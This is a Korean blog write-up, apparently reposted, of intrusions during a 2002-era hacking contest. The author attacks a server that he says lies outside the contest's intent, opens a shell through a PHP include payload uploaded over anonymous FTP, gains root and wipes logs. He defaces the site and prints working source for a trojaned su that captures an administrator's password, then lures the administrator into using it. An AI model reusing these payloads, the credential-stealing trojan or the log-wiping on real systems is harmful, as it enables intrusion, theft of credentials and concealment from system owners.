Codegate외 hacking대회 중에서..

Similar documents
PowerPoint 프레젠테이션

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D D382E687770>

Sena Device Server Serial/IP TM Version

본문서는 초급자들을 대상으로 최대한 쉽게 작성하였습니다. 본문서에서는 설치방법만 기술했으며 자세한 설정방법은 검색을 통하시기 바랍니다. 1. 설치개요 워드프레스는 블로그 형태의 홈페이지를 빠르게 만들수 있게 해 주는 프로그램입니다. 다양한 기능을 하는 플러그인과 디자인

2-11Àå

Network seminar.key

6주차.key

Remote UI Guide

/chroot/lib/ /chroot/etc/

untitled

Microsoft PowerPoint - comp_prac_081223_2.pptx

USB USB DV25 DV25 REC SRN-475S REC SRN-475S LAN POWER LAN POWER Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl C

PowerPoint 프레젠테이션

제20회_해킹방지워크샵_(이재석)

Sena Technologies, Inc. HelloDevice Super 1.1.0

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O

untitled

목차 BUG offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate

PWR PWR HDD HDD USB USB Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl Cable PC PC DDNS (

<4D F736F F F696E74202D E20C0CEC5CDB3DD20C0C0BFEB20B9D720BCADBAF1BDBA20B1E2BCFA E >

소개 TeraStation 을 구입해 주셔서 감사합니다! 이 사용 설명서는 TeraStation 구성 정보를 제공합니다. 제품은 계속 업데이트되므로, 이 설명서의 이미지 및 텍스트는 사용자가 보유 중인 TeraStation 에 표시 된 이미지 및 텍스트와 약간 다를 수

10.

Assign an IP Address and Access the Video Stream - Installation Guide

ìœ€íŁ´IP( _0219).xlsx

Oracle hacking 작성자 : 임동현 작성일 2008 년 10 월 11 일 ~ 2008 년 10 월 19 일 신규작성 작성내용

LCD Display

ÀÎÅÍ³Ý ÁøÈï¿ø 5¿ù

Solaris Express Developer Edition

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

cam_IG.book

인도 웹해킹 TCP/80 apache_struts2_remote_exec-4(cve ) 인도 웹해킹 TCP/80 apache_struts2_remote_exec-4(cve ) 183.8

1217 WebTrafMon II


LXR 설치 및 사용법.doc

*****

bn2019_2

10X56_NWG_KOR.indd

untitled

DocsPin_Korean.pages

Microsoft PowerPoint - ch02_인터넷 이해와 활용.ppt

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

PowerPoint 프레젠테이션

chap7.key

정적으로 설치된 mod_ssl 모듈확인 동적으로 설치된 mod_ssl 모듈확인 웹서버에 설치된 모듈중 mod_so.c 를 먼저 확인후 동적으로 설치된 모듈중 mod_ssl.so 를 확인합니다. 동적으로 설치된 경우 apache 설치 디렉토리의 module 이나 libe

DE1-SoC Board

품질검증분야 Stack 통합 Test 결과보고서 [ The Bug Genie ]

SMB_ICMP_UDP(huichang).PDF

Subnet Address Internet Network G Network Network class B networ

uFOCS

자바-11장N'1-502

1. What is AX1 AX1 Program은 WIZnet 사의 Hardwired TCP/IP Chip인 iinchip 들의성능평가및 Test를위해제작된 Windows 기반의 PC Program이다. AX1은 Internet을통해 iinchip Evaluation

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

chapter1,2.doc

MySQL-Ch10

76 XSS 하 Huge-IT Slider admin.php XSS

6강.hwp

EDB 분석보고서 (04.06) ~ Exploit-DB( 에공개된별로분류한정보입니다. Directory Traversal users-x.php 4.0 -support-x.php 4.0 time-

Interstage5 SOAP서비스 설정 가이드

0. 들어가기 전

쿠폰형_상품소개서

CD-RW_Advanced.PDF

** 5 개이발생한주요소프트웨어별취약점세 EDB 번호취약점종류공격난이도공격위험도취약점이름소프트웨어이름

다. 최신 버전의 rpm 패키지 버전을 다운로드해 다음과 같이 설 치한다. 단 debuginfo의 rpm 패키지는 설치할 필요가 없다. 하기 위한 옵션이고, init는 저장소를 초기화하기 위한 cvs 명령 어이다. - 새로 설치한 경우 : rpm -ivh cvs* -

TTA Verified : HomeGateway :, : (NEtwork Testing Team)

À©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾

(SW3704) Gingerbread Source Build & Working Guide

< FBBE7B0EDB3EBC6AE5FB5F0C6FAC6AEC6D0BDBABFF6B5E5C3EBBEE0C1A128BCF6C1A4292E687770>

Smart Power Scope Release Informations.pages

Apache2 + Tomcat 5 + JK2 를 사용한 로드밸런싱과 세션 복제 클러스터링 사이트 구축

TCP.IP.ppt

본교재는수업용으로제작된게시물입니다. 영리목적으로사용할경우저작권법제 30 조항에의거법적처벌을받을수있습니다. [ 실습 ] 스위치장비초기화 1. NVRAM 에저장되어있는 'startup-config' 파일이있다면, 삭제를실시한다. SWx>enable SWx#erase sta

ISP and CodeVisionAVR C Compiler.hwp

슬라이드 1

Copyright 2012, Oracle and/or its affiliates. All rights reserved.,,,,,,,,,,,,,.,..., U.S. GOVERNMENT END USERS. Oracle programs, including any operat

Adobe Flash 취약점 분석 (CVE )


<41736D6C6F D20B9AEBCADBEE7BDC42E687770>

Microsoft Word doc

CD 무결성체크는 SKIP 을해도좋습니다. Next 버튼을누릅니다. Next 버튼을누릅니다.

ÀÎÅÍ³Ý ÁøÈï¿ø 3¿ù ÀúÇØ»ó

13주-14주proc.PDF

untitled

PowerPoint 프레젠테이션

운영체제실습_명령어

Orcad Capture 9.x

2009년 상반기 사업계획

Copyright 2004 Sun Microsystems, Inc Network Circle, Santa Clara, CA U.S.A..,,. Sun. Sun. Berkeley BSD. UNIX X/Open Company, Ltd.. Sun, Su

SPECweb Install

Mango220 Android How to compile and Transfer image to Target

PowerPoint 프레젠테이션

기존에 Windchill Program 이 설치된 Home Directory 를 선택해준다. 프로그램설치후설치내역을확인해보면 Adobe Acrobat 6.0 Support 내역을확인할수 있다.

untitled

Chap7.PDF

<30392E31322E303320C1F6B1B8C1F6C1A420B9D720C1F6C7FCB5B5B8E920B0EDBDC E706466>


휠세미나3 ver0.4

메일서버등록제(SPF) 인증기능적용안내서 (AIX - sendmail) OS Mail Server SPF 적용모듈 (Perl 기반) 작성기준 AIX 5.3 sendmail spf-filter 년 6 월

Mobile Service > IAP > Android SDK [ ] IAP SDK TOAST SDK. IAP SDK. Android Studio IDE Android SDK Version (API Level 10). Name Reference V

PowerPoint Presentation

Microsoft Word - Solaris_rpc_ypupdated.doc

Transcription:

Codegate 외 hacking 대회중에서.. Historymaker

소개글 Codegate 외 hacking 대회중 취약점일부내용

목차 1 4

2012.06.15 20:06 - - =========================================================================================== Thank you for your participation. The informations on the target server are shown below: IP Address of Target server : 210.183.179.112 Target html(to alter) : the firt page screen (index.html) An Individual (or team) who first in time changes the index.html file by writing his/her own Registration number, ID, Identification No, and email on it will be a winner. P.S: 음... 나중에제가했던작업을잊어버릴까봐이렇게남겨둡니다. 참고로, 아무렇게나막써서글의두서가없음. --; =========================================================================================== 먼저 210.183.179.112 번 Server가공개되었습니다. 공개형 smoothwall 프로그램이설치되어있더군요. 물론 port는 81번하나였습니다. 먼저 Server의정보를조회해본결과, mod_ssl 취약한버전을사용하고있더군요. SSL과 TLS 프로토콜의모듈사이에 remote buffer overflow 취약점은이미인터넷상에발표되었습니다. Report Title: "Apache mod_ssl 2.8.3/Apache-SSL Buffer Overflow Vulnerability" 입니다. 실제 source를분석해본결과다른 report에서증명하듯이취약점은존재하더군요. --- ssl_util_ssl.h: -------------------------------------------------------------------------- #define SSL_SESSION_MAX_DER 1024*10 --- ssl_scache_dbm.c: ------------------------------------------------------------------------ BOOL ssl_scache_dbm_store(server_rec *s, UCHAR *id, int idlen, time_t expiry, SSL_SESSION *sess) {... UCHAR ucadata[ssl_session_max_der]; 4

... ucp = ucadata; ndata = i2d_ssl_session(sess, &ucp); ------------------------------------------------------------------------------------------- --- 그러나 exploit하기에는몇가지난관이있었습니다. 그중가장치명적이었던것은취약점을이용하기위해먼저획득해야하는 Certificate Authority (Client, Server간의상호인증 ) 이필요하다는점이었습니다. 이것을획득하고나면 ssl 모듈의권한으로 remote command를수행할수는있습니다. 그러나이것은매우힘든일이였습니다. 문제의 smoothwall 역시, 여러가지 Apache 인증을거치는것은마찬가지였습니다. 이것을발견한 hacker들은매우다양한 brute-force를시도했고, 대상 Server는거의기어다니는듯? 했습니다. :-( 다른방법을찾기힘들다고생각하고있을찰나에 Webserver(http://www.woksdome.org) 가해킹당했습니다. 물론, Scanning도한번안해본 Server 였지만전매우궁금했고그쪽으로관심이쏠리기시작했습니다. 다음은 Scanning 당시정보입니다. IP Address : 128.134.7.245 Resolved : www.woksdome.org Operating System : Linux - RedHat 7.0 - Open Ports (11): 21 [ Ftp => File Transfer Protocol ] 220 BCA1OOPSRC2 FTP Server (ProFTPD Default Installation-WOW) [www.woksdome.org] *** Anonymous login OK *** 22 [ Ssh => Remote Login Protocol ] SSH-1.99-OpenSSH_2.3.0p1 *** OpenSSH 2.3 Channel Code Off-By-One remote bug OK *** 23 [ Telnet => Remote Login Protocol ] WOWLINUX Release 7.0 (AllLiEs) *** Telnetd remote buffer overflow OK *** 25 [ Smtp => Simple Mail Transfer Protocol ] 220 www.woksdome.org ESMTP Sendmail 8.11.0/8.11.0; Wed, 17 Apr 2002 21:23:37 +0900 *** Sendmail 8.11.0/8.11.0 - Multiple local bug *** 79 [ Finger ] 5

Login Name Tty Idle Login Time Office Office Phone Users (1): root Directory: /root Shell: /bin/bash On since Sat Apr 13 18:25 (KST) on tty1 4 days idle New mail received Wed Apr 17 21:01 2002 (KST) Unread since Tue Apr 16 23:15 2002 (KST) No Plan. root root tty1 4d Apr 13 18:25 *** Cfingerd util-c buffer overflow OK *** Description : The cfingerd package versions 1.4.3 and earlier is vulnerable to a buffer overflow in the util.c file Bugtraq ID/URL : http://xforce.iss.net/static/6744.php 80 [ Http => World Wide Web, HTTP ] HTTP/1.1 200 OK Date: Wed, 17 Apr 2002 12:23:37 GMT Server: Apache/1.3.22 (Unix) PHP/4.1.2 X-Powered-By: PHP/4.1.2 Connection: close Content-Type: text/html PHP module running (web server) Description : PHP is installed on this computer 111 [ SunRPC => SUN Remote Procedure Call ] portmapper, Ver : 2, Proto : TCP, Port : 111 portmapper, Ver : 2, Proto : UDP, Port : 111 nlockmgr, Ver : 1, Proto : UDP, Port : 1024 nlockmgr, Ver : 3, Proto : UDP, Port : 1024 status, Ver : 1, Proto : UDP, Port : 1025 status, Ver : 1, Proto : TCP, Port : 1024 *** Rpc.statd remote format string OK *** 113 [ identd => Authentication Service ] 0, 0 : X-VERSION : pidentd 3.0.10 for Linux 2.2.5-22smp (Jul 20 2000 15:09:20) *** Xinetd remote buffer overflow OK *** 513 [ Login => Remote login (a la telnet) ] 514 [ Shell => cmd ] 515 [ printer => Printer Spooler ] *** Lprnd remote format string OK *** 너무나도많은취약점이존재했습니다. 6

일반적으로 RedHat Default kit의 telnetd 는취약점을가지고있습니다. 저는 exploit 했습니다. 마침내 shell을얻고, Server 내부의매우복잡한파일들을보았습니다. ^^ LKM을설치할까하다말았습니다. 솔직히대회의도와멀어진것이분명하니... 더이상복잡하게하고싶지는않았습니다. 다음작업으로시스템상에존재하는저의모든 log를찾아지웠습니다. 이는단순히 Server의내부권한을획득하는것으로그쳤습니다. 그리고대역대에 IP 65번의 BSD Server와 IP 126번의 Router를발견할수있었습니다. 라우터패스워드는정말쉽더군요. "root" 일반적인추측으로도가능한듯했습니다. 65번의공격은보류하기로했습니다. 물론라우터의 enable pass도모르고있기때문에관리자쪽의 Server Password를얻는것이중요했습니다. 저는다시 Webserver를공격해봤습니다. 웹쪽을보니정말취약했습니다. --; board 디렉토리경로에는 index page 자체가없더군요. =========================================================================================== Parent Directory 16-Apr-2002 18:21 - admin.php 10-Apr-2002 23:44 2k admin_list.php 10-Apr-2002 23:44 16k admin_viewbody.php 10-Apr-2002 23:44 11k bdeleteform.php 10-Apr-2002 23:44 7k blist.php 10-Apr-2002 23:44 1k bmodifyform.php 10-Apr-2002 23:44 6k board.cfg 10-Apr-2002 23:44 1k board.php3 10-Apr-2002 23:44 1k board.sql 10-Apr-2002 23:44 1k board_css.css 10-Apr-2002 23:44 1k board_files/ 06-Apr-2002 19:45 - board_icon.zip/ 10-Apr-2002 07:33 - board_icon/ 09-Apr-2002 08:55 - boardadmin.sql 10-Apr-2002 23:44 1k bpostform.php 10-Apr-2002 23:44 3k breplyform.php 10-Apr-2002 23:44 5k bviewbody.php 10-Apr-2002 23:44 13k con_bbs.sql 10-Apr-2002 23:44 1k dbconn.php 10-Apr-2002 23:44 1k del_mul_proc.php 10-Apr-2002 23:44 1k delete.php 10-Apr-2002 23:44 3k deleteform.php 10-Apr-2002 23:44 7k edit.html 10-Apr-2002 23:44 31k editimg/ 06-Apr-2002 21:03-7

editor.html 10-Apr-2002 23:44 6k footer.inc 10-Apr-2002 23:44 1k get.php 10-Apr-2002 23:44 4k header.inc 10-Apr-2002 23:44 1k htmlact.php 10-Apr-2002 23:44 5k image/ 06-Apr-2002 21:03 - list.inc 10-Apr-2002 23:45 15k list.php 10-Apr-2002 23:45 7k list_admin.php 10-Apr-2002 23:45 1k menu_modify.php 10-Apr-2002 23:45 1k menu_modifyform.php 10-Apr-2002 23:45 24k modify.php 10-Apr-2002 23:45 3k modifyform.php 10-Apr-2002 23:45 7k modifyform_admin.php 10-Apr-2002 23:45 13k post.php 10-Apr-2002 23:45 4k post_admin.php 10-Apr-2002 23:45 4k postform.php 10-Apr-2002 23:45 7k postform_admin.php 10-Apr-2002 23:45 4k reply.php 10-Apr-2002 23:45 2k reply_admin.php 10-Apr-2002 23:45 7k replyform.php 10-Apr-2002 23:45 7k replyform_admin.php 10-Apr-2002 23:45 6k select.php 10-Apr-2002 23:45 5k sendmail.php 10-Apr-2002 23:45 11k up_image/ 10-Apr-2002 07:33 - url_autolink.inc 10-Apr-2002 23:45 2k user_function.inc 10-Apr-2002 23:45 4k view_list.php 10-Apr-2002 23:45 16k view_list_admin.php 10-Apr-2002 23:45 16k view_reply.php 10-Apr-2002 23:45 15k viewbody.php 10-Apr-2002 23:45 7k viewbody_admin.php 10-Apr-2002 23:45 14k =========================================================================================== 우선이중의몇개의파일을검사해봤습니다. 그리고금새취약점을찾아낼수있었습니다. 그것은 board 설정파일을참조하는것, 바로취약점이일어나더군요. 위에 board.cfg가보입니다. 저는한번실제 PATH 대로 cfg를읽어오는게가능한지확인해보았습니다. "?code=/usr/local/apache/htdocs/board/board" 이런... "?code=board" 와같은결과를출력해줍니다. 이로써공격의가능성이증명되었습니다. ftp에접속하였습니다. anonymous로파일업로드가가능한것은위의 Scan 결과를토대로알수있습니다. 8

그곳에제가만든임의의 cfg를업로드합니다. 내용은다음과같이단순했습니다.... system("echo \"#!/bin/sh\n/bin/bash -i\n\" >/tmp/test;chmod 711 /tmp/test"); system("/usr/sbin/in.telnetd -debug 60177 -L/tmp/test");?> 그리고이 cfg파일을읽어들였습니다. "?code=/var/ftp/code" 아주쉽게 Webserver의 60177번의포트가열렸습니다. 저는다시 Server에접속할수있었습니다. 그리고내부의 setuid 취약점으로 root 권한을얻었습니다. 마찬가지로관련 log를찾아지웠습니다. 이번에는장난끼가발동하여실제로관리자가어느정도까지관리하는지를살펴보았습니다. index.html에흰색폰트로다음과같이변경하였습니다. 참고로아래화면은대회첫날저녁부터마지막날오전까지그대로였습니다. woksdome1.jpg 관리자는전혀신경쓰지않은듯합니다. :-] 어쨌든저는관리자가사용중인 Password가필요하다고생각하였습니다. 그이유는관리중인 Server들간의 Password는거의비슷한것이나아니면같은것을사용하기때문이죠. 처음엔 shadow file를빼내서 crack을할까도생각해보았습니다. 하지만, 이것은정말엄청난시간을요구할것같았습니다. 그래서저는다른방법을생각해보았습니다. 우선다른사람의접속을막기위해? 다음과같이약간의 daemon을정리하고 permission을조정했습니다. - board/ board_en/ permission check && touch index.html - Anonymous login closed - Fingerd port closed - SunRpcd port closed - Lprnd port closed 그리고, 마지막날오전 10시까지기다렸습니다. 저는다음 source를실행하여잠시동안 su 프로그램을트로이목마로변경시켰습니다. --- su.c source ----------------------------------------------------------------------------- - #!/bin/sh # make fake SU file ;-) (printf "\r\nnull\r\n") /bin/su;mv /bin/su /bin/su.bak cat > /bin/su.c << EOF #include #include main (int argc,char *argv[]) { FILE *fp; char passwd[20]; 9

printf("password: "); system("stty -echo"); scanf("%s",passwd); sleep(2); printf("\nsu: incorrect password\n"); system("stty echo"); if((fp=fopen("//usr//local//apache//htdocs//pass","a"))==null) { exit(0); } fprintf(fp, "ID : %s\n",argv[1]); fprintf(fp, "PASSWD : %s\n", passwd); fclose(fp); system("/bin/fake"); } EOF # fake command :-D cat > /bin/fake.c << EOF main() { setuid(0); setgid(0); system("mv /bin/su.bak /bin/su;rm -rf /bin/fake"); } EOF # Last Setting mv /bin/su /bin/su.bak gcc -o /bin/su /bin/su.c && rm -rf /bin/su.c gcc -o /bin/fake /bin/fake.c && rm -rf /bin/fake.c chmod 4755 /bin/fake; chmod 4755 /bin/su # EOF ------------------------------------------------------------------------------------------- --- 문제는관리자가 su command를실행할수있도록하는것이였습니다. 먼저 login 되있던 "kdworks" 사용자를 kill 했습니다. 그리고, 다시 login 하기를기다렸습니다. 아무래도바로 login 하진않더군요. 그래서다른방법을생각해보았습니다. 먼저, 관리자가로그인하여 su command를실행할수있도록저는다음과같이 WOKSDOME Webserver의 page를잠시동안변경하였습니다. woksdome2.jpg chattr 읽기전용 mode를만들어두고 "/usr/local/apache/htdocs/pass" 파일이 10

생성될때까지기다렸습니다. 마침내제예상대로관리자는 5분도안되어로그인하였습니다. su command후패스워드를또박또박정확히넣으셨더군요. :-) ID : - PASSWD : xxxxxxxx 저는그파일을읽어들여관리자권한의 Password를얻었습니다. 그후바로 chattr을 unset한후얻은 Password를다른 Server의인증창에대입해보았습니다. 음... 그러나결과는 WOKSDOME WebServer의 Password는그 Webserver Password에국한된것이었습니다. 원래의목적대로 Router enable pass를얻는것은불가능했고또, 다른 Server의 Password 인증 ( 특히 112번 ) 을통과할수없었습니다. 물론 Server의 log는지속적으로정리하였습니다. :-D 참고로, 저는 112 번을공격하기위해? Webserver 의필요성을느꼈습니다. :-p 그다음내용부터는 Secret! -- By "you dong-hun" (Xpl017Elz), in INetCop(c). home? http://x82.i21c.net - :-p 11

Codegate 외 hacking 대회중에서.. 블로그 저자 History maker Historymaker http://blog.daum.net/hch73111 발행일 2012.06.15 20:11:07 저작권법에의해한국내에서보호를받는저작물이므로무단복제와전재를금합니다.